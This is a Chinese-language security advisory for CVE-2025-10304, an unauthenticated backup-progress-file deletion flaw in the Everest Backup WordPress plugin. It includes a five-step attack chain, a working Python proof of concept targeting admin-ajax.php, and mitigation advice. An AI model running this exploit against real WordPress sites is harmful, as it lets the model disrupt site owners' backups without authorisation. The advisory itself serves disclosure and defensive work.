IPBUF安全漏洞报告
English
CVE-2025-10304 CVSS 5.3 中危

CVE-2025-10304: Everest Backup插件未授权删除备份进度文件漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-10304
漏洞类型
未授权访问/缺失权限校验
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Everest Backup – WordPress Cloud Backup, Migration, Restore & Cloning Plugin

相关标签

CVE-2025-10304WordPress插件漏洞未授权访问缺失权限校验文件删除Everest BackupIDOR备份安全

漏洞概述

CVE-2025-10304是WordPress平台下Everest Backup插件的一个安全漏洞。该插件是一款流行的WordPress云备份、迁移、恢复和克隆工具,被广泛用于网站数据保护和迁移场景。漏洞源于process_status_unlink()函数缺少权限校验,导致任何未认证用户都可以调用该函数删除服务器上的备份进度文件。当备份任务正在执行时,攻击者可通过删除进度文件使备份过程中断或失败,这可能导致网站管理员无法完成正常的数据备份操作,进而影响数据恢复能力。虽然该漏洞不直接导致数据泄露或服务器被完全控制,但攻击者可利用此漏洞干扰正常的备份流程,造成服务可用性问题。漏洞影响插件2.3.8及以下所有版本,建议用户尽快升级到最新修复版本。

技术细节

漏洞存在于Everest Backup插件的process_status_unlink()函数中。该函数负责删除备份进度状态文件,用于跟踪和管理备份任务的执行状态。问题在于该函数缺少WordPress的current_user_can()权限检查,导致任何访问该函数的请求都会被直接执行,无需任何身份验证或权限确认。攻击者只需构造特定的HTTP请求,指定要删除的进度文件路径,即可触发删除操作。由于备份进度文件通常存储在wp-content/uploads/everest-backup/目录下,攻击者可以利用目录遍历或直接访问已知路径来删除文件。一旦进度文件被删除,正在进行的备份任务将无法继续,导致备份失败或数据不一致。攻击者可通过反复触发此漏洞来持续干扰站点的备份操作。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标WordPress站点,并确认安装了Everest Backup插件且版本小于等于2.3.8
STEP 2
步骤2: 定位备份目录
攻击者访问wp-content/uploads/everest-backup/目录,发现备份进度文件的存储位置和命名规律
STEP 3
步骤3: 构造恶意请求
攻击者构造针对admin-ajax.php的POST请求,指定action为eb_backup_process_status_unlink,并指定要删除的进度文件名
STEP 4
步骤4: 触发漏洞
攻击者发送恶意请求,由于函数缺少权限校验,服务器直接执行文件删除操作
STEP 5
步骤5: 造成破坏
备份进度文件被删除后,正在进行的备份任务失败,攻击者可重复此操作持续干扰备份流程

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-10304 PoC - Everest Backup Unauthenticated File Deletion # Target: WordPress site with Everest Backup plugin <= 2.3.8 target_url = input("Enter target URL: ").rstrip('/') # Path to backup progress status file # Default path: /wp-content/uploads/everest-backup/ status_file_path = input("Enter backup status file path (default: status.json): ") or "status.json" # Construct the vulnerable endpoint vulnerable_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Parameters for the vulnerable function params = { 'action': 'eb_backup_process_status_unlink', 'status_file': status_file_path } print(f"[*] Sending request to delete: {status_file_path}") print(f"[*] Target: {vulnerable_endpoint}") try: response = requests.post(vulnerable_endpoint, data=params, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Request sent successfully - backup progress file may be deleted") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

Everest Backup WordPress Plugin <= 2.3.8

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:(1)限制wp-admin目录访问,仅允许管理员IP访问;(2)使用Web应用防火墙(WAF)规则阻止对admin-ajax.php的异常请求;(3)监控wp-content/uploads/everest-backup/目录的文件变更日志;(4)定期手动备份网站数据并存储到安全位置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表